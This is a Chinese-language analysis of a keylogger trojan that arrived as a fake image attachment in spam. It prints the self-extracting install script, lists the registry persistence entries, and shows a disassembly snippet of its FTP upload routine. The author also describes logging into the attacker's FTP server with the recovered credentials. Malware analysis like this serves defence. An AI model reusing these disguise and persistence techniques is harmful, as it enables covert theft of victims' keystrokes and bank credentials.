【详细过程】
今天看邮箱，收到一封 刘娜 <mnbppp@163.com> 来的垃圾邮件，内容如下：
您好 我在互联网上看到你们公司发的产品信息
请问向这种的什么价格 可以邮购吗 谢谢回复
里面有个附件“图片.rar”，一看就估计有问题。下载“图片.rar”解压后有个图标为资源浏览器中图片图标的“图片.exe”文件，是个 RAR 自解压文件，解压脚本如下：
;下面的注释包含自解压脚本命令
Path=%systemroot%\temp
SavePath
Setup=book.exe
Presetup=1.jpg
Silent=1
Overwrite=2
直接用 WinRAR 解压，看里面的 book.exe。这个程序不知道加了什么壳，脱的时候看了一下，有好几层壳，不过都是压缩壳，直接 ESP 定律脱之。脱完是个 Delphi 编的程序，看了一下资源，里面的 RCDATA 中有个 INFO 的资源，应该就是加密后的配置文件了。先 IDA 分析一下，这个程序到时比较直接，先解码配置文件，然后复制自身到系统目录运行，再设一些注册表项目，再来监视键盘：

一、配置文件的解码
这个木马我最感兴趣的就是看看它的配置如何，来看看解码配置这一段。先看看程序中 INFO 资源原来的数据：

让加密的配置文件在 OD 中动态跑一下，利用程序自身来解出配置文件。加密数据中开始的那个“5628”是不参加解码的。整理后如下(为安全计，隐去 FTP 用户名和密码。//后面是我加的注释）：

根据上面弄出来的东西，应该是个偷银行帐号的马，估计和 IKlogger 这个软件有关。用得出来的 FTP 地址和用户名、密码，连了一下，里面有个 iklogs 目录，再按监测到各个电脑的用户名分类建立目录，各用户名目录下分别生成 clickshots 和 logs 目录，这个 logs 目录下面按时间生成的文本文件就是键盘记录了。

经过以上处理，会在注册表中作如下设置：
1、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 下创建 SCISound 项，键值为路径加木马文件名，带参数 /lanzateRunOnce
2、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 下的 Shell 项中添加木马文件路径+文件名
3、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加 svchost 项，键值为木马文件路径+文件名
4、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components 下创建项 {4fz8rk-15aq-16nc-23or4-2ke0fa051515}，再在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515} 下创建项 StubPath，键值为木马路径加文件名，带参数 /lanzateActiveX
6、如果在系统目录(如 C:\WINDOWS\system32) 下创建了 pschost 目录，则把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 的键值改为以上新建的目录
7、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 下的 UserInit 项中添加木马路径+文件名的键值

四、键盘记录
键盘记录的我就不贴代码了，比较长。无非就是设定时器，扫描键盘，再生成记录文件。
最后还有个连接 FTP 的，会在 FTP 里创建 iklogs 目录，上传你机器上生成的记录，这里略过：
CODE:00432D30 _FTP_Work proc near ; DATA XREF: CODE:00431264o
CODE:00432D30

CODE:00432D30

CODE:00432D8E push 0
CODE:00432D90 push 0

CODE:00432D96 push offset s->Iexplore ; "iexplore"
CODE:00432D9B call InternetOpenA
